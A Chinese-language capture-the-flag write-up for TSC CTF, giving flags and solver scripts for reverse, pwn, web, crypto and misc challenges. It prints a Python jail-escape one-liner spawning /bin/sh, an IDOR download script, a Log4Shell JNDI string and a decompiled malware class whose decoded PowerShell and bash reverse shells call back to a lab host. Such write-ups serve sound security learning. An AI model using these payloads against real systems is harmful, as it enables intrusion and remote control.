# TSC CTF WRITE UP
## Welcome
### Give you a free flag
||||
:::success
Flag🚩: ||`TSC{W3llc0me_t0_TSC2O2SIlIllI}`||
:::
### Please Join Our Discord!!!
||||
:::success
Flag🚩: ||`TSC{w31c0m3_t0_t5cc7f2025_d15c0rd!!!}`||
:::
### Feedback Form
做完表單就有flag
:::success
Flag🚩: ||`TSC{thanks_for_playing_and_c_u_nexy_year!}`||
:::
## Reverse
### What_Happened
將`flag_encrypted`和`0xAA`xor就能得到原本flag
```c=
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char Destination[51]; // [esp+1Eh] [ebp-32h] OVERLAPPED BYREF
__main();
strcpy(Destination, flag_encrypted);
puts("1. This is Flag:");
puts("2. ...");
puts("3. What Happened??? Something Error");
printf("4. %s\n", Destination);
return 0;
}
```
```c=
int decrypt_flag()
{
char v1[50]; // [esp+16h] [ebp-42h] BYREF
int v2; // [esp+48h] [ebp-10h]
int i; // [esp+4Ch] [ebp-Ch]
v2 = strlen(flag_encrypted);
for ( i = 0; i < v2; ++i )
v1[i] = flag_encrypted[i] ^ 0xAA;
v1[v2] = 0;
return printf("Decrypted Flag: %s\n", v1);
}
```
```python=
hex_string = "FE F9 E9 D1 E3 F5 FE C2 C3 C4 C1 F5 D3 C5 DF F5 EC C3 D2 F5 98 C5 C7 CF F5 99 D8 D8 C5 D8 D7"
byte_array = bytes.fromhex(hex_string)
xor_result = [byte ^ 0xAA for byte in byte_array]
result_hex = ' '.join(f"{byte:02X}" for byte in xor_result)
try:
result_ascii = ''.join(chr(byte) for byte in xor_result)
except ValueError:
result_ascii = "Not all bytes are printable ASCII characters"
print("Flag:", result_ascii)
```
:::success
Flag🚩:||`TSC{I_Think_you_Fix_2ome_3rror}`||
:::
### Chill Checker
把A~Z放入`complex_function()`試出正確輸入
```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s2[32]; // [rsp+10h] [rbp-40h] BYREF
char s1[20]; // [rsp+30h] [rbp-20h] BYREF
int v6; // [rsp+44h] [rbp-Ch]
int j; // [rsp+48h] [rbp-8h]
int i; // [rsp+4Ch] [rbp-4h]
v6 = -559038737;
for ( i = 0; i <= 19; ++i )
s2[i] = 0;
*(_QWORD *)s2 = 0x57484959495A4753LL;
printf("Whisper your code: ");
__isoc99_scanf("%8s", s1);
for ( j = 0; j <= 7; ++j )
s1[j] = complex_function((unsigned int)s1[j], (unsigned int)(j + 8));
if ( !strcmp(s1, s2) )
{
puts("Man, you're really on fire!");
generate_flag(s1);
}
else
{
random_failure_message(s1);
}
return 0;
}
```
```c=
__int64 __fastcall complex_function(int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Go to reverse, please.");
exit(1);
}
return (unsigned int)((a1 - 65 + 31 * a2) % 26 + 65);
}
```
```python=
def reverse_complex_function(output_char, position):
a2 = position + 8
for a1 in range(65, 91):
if (a1 - 65 + 31 * a2) % 26 + 65 == output_char:
return a1
raise ValueError("No valid character found")
def compute_valid_input(target):
s1 = []
for j, target_char in enumerate(target):
target_ascii = ord(target_char)
original_char = reverse_complex_function(target_ascii, j)
s1.append(chr(original_char))
return ''.join(s1)
s2 = "SGZIYIHW" # 0x57484959495A4753
original_s1 = compute_valid_input(s2)
print(f"The correct input is: {original_s1}")
```
```
The correct input is: ENBFQVPZ
```
:::success
Flag🚩: ||`TSC{t4k3_1t_3a$y}`||
:::
## Pwn
### gamble_bad_bad
先裝VPN
`struct`裡的變數都是相鄰的,因此可以透過overflow改變`game.jackpot_value`
```c=
struct GameState {
char buffer[20];
char jackpot_value[4];
} game;
void spin() {
strcpy(game.jackpot_value, "6A6");
printf("輸入你的投注金額:");
gets(game.buffer);
printf("這次的結果為:%s\n", game.jackpot_value);
if (strcmp(game.jackpot_value, "777") == 0) {
jackpot();
} else {
printf("很遺憾,你沒中獎,再試一次吧!\n");
}
}
```
||||
:::success
Flag🚩: ||`TSC{Gamb1e_Very_bad_bad_but_}`||
:::
## Web
### Be_IDol
`index.php`裡有個後門可使用
```javascript=
// Backdoor function - ez_login()
function ez_login() {
document.cookie = "PHPSESSID=secretbackdoor123";
location.reload();
}
```
使用並重新整理後可以看到1001個pdf檔

```python=
import os
import requests
base_url = "http://172.31.0.2:8057/download.php?file_id="
start_id = 12000
end_id = 13000
output_directory = "OUTPUT_DIR"
os.makedirs(output_directory, exist_ok=True)
def download_file(file_id):
url = f"{base_url}{file_id}"
try:
response = requests.get(url, stream=True)
response.raise_for_status()
file_path = os.path.join(output_directory, f"file_{file_id}.pdf")
with open(file_path, "wb") as file:
for chunk in response.iter_content(chunk_size=8192):
file.write(chunk)
print(f"Downloaded: {file_path}")
except requests.exceptions.RequestException as e:
print(f"Failed to download file {file_id}: {e}")
for file_id in range(start_id, end_id + 1):
download_file(file_id)
print("Download process completed.")
```
全部下載下來後會發現全都是這樣的形式

於是嘗試`id`從0到13000,找到以下幾個可用

其中12001有指令可以使用

用`find`找到flag
```bash=
find / -name "*flag*"
cat /opt/flag/flag.txt
```
:::success
Flag🚩: ||`TSC{You_can_be_ID0R_12353oujhefrgiuoewihoqweihfo}`||
:::
## Crypto
### Very Simple Login
用`Admin`註冊再登入
||||
:::success
Flag🚩: ||`TSC{Wr0nG_HM4C_7O_L3A_!!!}`||
:::
### Classic
利用已知flag開頭為`TSC{`的特性爆破
```python=
import string
enc = "o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV\""
charset = string.digits + string.ascii_letters + string.punctuation
len_charset = len(charset)
known_flag = "TSC{"
known_indices = [charset.find(c) for c in known_flag]
enc_indices = [charset.find(enc[i]) for i in range(len(known_flag))]
def solve_for_A_B(known_indices, enc_indices, len_charset):
eqs = []
for i in range(len(known_indices)):
eqs.append((known_indices[i], enc_indices[i]))
for A in range(1, len_charset):
for B in range(len_charset):
valid = True
for (p, c) in eqs:
if (p * A + B) % len_charset != c:
valid = False
break
if valid:
return A, B
return None, None
A, B = solve_for_A_B(known_indices, enc_indices, len_charset)
if A is not None and B is not None:
A_inv = pow(A, -1, len_charset) # Modular inverse of A
dec = []
for enc_char in enc:
enc_index = charset.find(enc_char)
orig_index = (enc_index - B) * A_inv % len_charset
dec.append(charset[orig_index])
flag = "".join(dec)
print("Decrypted flag:", flag)
else:
print("Failed")
```
:::success
Flag🚩: ||`TSC{c14551c5_c1ph3r5_4r5_fr4g17e}`||
:::
## Misc
### BabyJail
用空的`tuple`往回找所有object的subclasses再找到system指令
```
[ x.__init__.__globals__ for x in ().__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("/bin/sh")
```
:::success
Flag🚩: ||`TSC{just_a_classic_nobuiltins_pyjail_for_baby}`||
:::
### A Minecraft SOC Mission
這題沒解出來,只記錄過程
首先把一些無關緊要的資訊過濾
```python=
import re
import os
def filter_logs(input_file, output_file):
with open(input_file, 'r') as infile, open(output_file, 'w') as outfile:
for line in infile:
# Skip lines with specific patterns
if re.search(r"joined the game|left the game|placed block|destroyed block", line):
continue
# Write the remaining lines to the output file
outfile.write(line)
# Ensure the script works in the same directory as the log file
script_dir = os.path.dirname(os.path.abspath(__file__))
input_file = os.path.join(script_dir, "minecraft_server.log")
output_file = os.path.join(script_dir, "filtered_log.txt")
# Run the log filtering
if os.path.exists(input_file):
filter_logs(input_file, output_file)
print(f"Filtered logs have been saved to {output_file}")
else:
print(f"File '{input_file}' does not exist. Please ensure it is in the same directory as this script.")
```
在log中找到一行可疑訊息,應該是Log4Shell
```
[03:31:01] [INFO]: Kristen Graves sent message: {jndi:ldap://tscctf.server/patato}
```
`evil.class`decompile後得到:
```java=
import java.util.Base64;
public class Evil extends ClassLoader {
private static final String[] $ = new String[]{"QTlXNHY2eXVpPQ==", "WVcxdmJtY3NJR0Z1WkNCemJ5QnBjeUJwZENCbGVHVmpkWFJwYm1jPQ==", "ZEhOalpYUm1MbWh2YldVPQ=="};
private static String ᅟ = "k9";
private static int ㅤ = 1017;
private void ᅠ(byte[] var1) {
try {
String[] var2 = (new String(Base64.getDecoder().decode($[1]))).split(",");
new String(Base64.getDecoder().decode($[2]));
String var4 = (String)Class.forName("java.lang.System").getMethod("getProperty", String.class).invoke((Object)null, var2[0]);
boolean var5 = var4.toLowerCase().contains(var2[1]);
String[] var10000;
if (var5) {
var10000 = new String[]{"cmd.exe", "/c", null};
String var10003 = new String(new byte[]{112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 32, 45, 101, 32});
var10000[2] = var10003 + "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAdABzAGMAYwB0AGYALgBoAG8AbQBlACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA";
} else {
var10000 = new String[]{"/bin/bash", "-c", this.ㅤㅤ(new String[]{"echo", "YmFzaCAtaSA+JiAvZGV2L3RjcC90c2NjdGYuaG9tZS80NDMgMD4mMQ==", "base64", "-d", "bash"})};
}
String[] var6 = var10000;
Class.forName("java.lang.Runtime").getMethod("exec", String[].class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke((Object)null), var6);
} catch (Exception var7) {
}
}
private String ㅤㅤ(String[] var1) {
StringBuilder var2 = new StringBuilder();
for(int var3 = 0; var3 < var1.length; ++var3) {
var2.append(var1[var3]);
if (var3 < var1.length - 1) {
var2.append(" | ");
}
}
return var2.toString();
}
static {
(new Evil()).ᅠ(new byte[0]);
}
}
```
其中`var5`應該是用來判斷伺服器作業系統
`112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 32, 45, 101, 32`轉成ASCII為`powershell -e `
來自[Microsoft Learn](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcomman`):
> ### -EncodedCommand <Base64EncodedCommand>
> Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to PowerShell that require complex quotation marks or curly braces. The string must be formatted using UTF-16LE character encoding.
所以那一長串Base64字串應該以`utf-16LE`解碼
```python=
import base64
s = "BASE64_ENCODED_STRING"
print(base64.b64decode(s).decode("utf-16le"))
```
解碼並排版後的結果
```csharp=
$client = New-Object System.Net.Sockets.TCPClient("tscctf.home", 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
```
可以看到`tscctf.home`為攻擊者嘗試連線的主機
在linux那邊,base64解碼後的結果為
```bash
bash -i >& /dev/tcp/tscctf.home/443 0>&1
```
同樣可以看到`tscctf.home`
可是最後找不到`tscctf.server`和`tscctf.home`的ip
更:阿不是結果flag就是`tscctf.home`
## 後記
只解出50分的題目...

[分頁紀錄](https://www.one-tab.com/page/k3M8ai_vQba2kqGu0A2Nug)